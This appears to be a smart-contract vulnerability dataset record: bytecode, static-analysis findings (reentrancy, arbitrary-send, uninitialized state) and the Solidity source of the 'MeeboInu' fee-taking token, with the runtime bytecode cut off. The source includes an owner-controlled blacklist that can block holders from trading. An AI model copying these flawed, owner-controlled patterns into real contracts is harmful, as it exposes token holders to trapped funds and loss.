469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de4f4d56be0d4a0babbbae0fb568e6066438aa2b5e264562bca56537ff94b09064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,361 |
0xd9d2a0a0cd23c5bcd45885fb5e8fbb4db9199bd7
|
/**
*Submitted
*/
/**
* https://www.meebo.inu
* Telegram: https://t.me/MeeboInu
* Meebo Inu bringing you NFT Gift Cards
*/
/**
$$\ $$\
$$ | \__|
$$$$$$\$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$$\ $$\ $$\
$$ _$$ _$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ |$$ __$$\ $$ | $$ |
$$ / $$ / $$ |$$$$$$$$ |$$$$$$$$ |$$ | $$ |$$ / $$ |$$ |$$ | $$ |$$ | $$ |
$$ | $$ | $$ |$$ ____|$$ ____|$$ | $$ |$$ | $$ |$$ |$$ | $$ |$$ | $$ |
$$ | $$ | $$ |\$$$$$$$\ \$$$$$$$\ $$$$$$$ |\$$$$$$ |$$ |$$ | $$ |\$$$$$$ |
\__| \__| \__| \_______| \_______|\_______/ \______/ \__|\__| \__| \______/
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MeeboInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MeeboInu";
string private constant _symbol = "MeeboInu";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600881526020017f4d6565626f496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d6565626f496e75000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611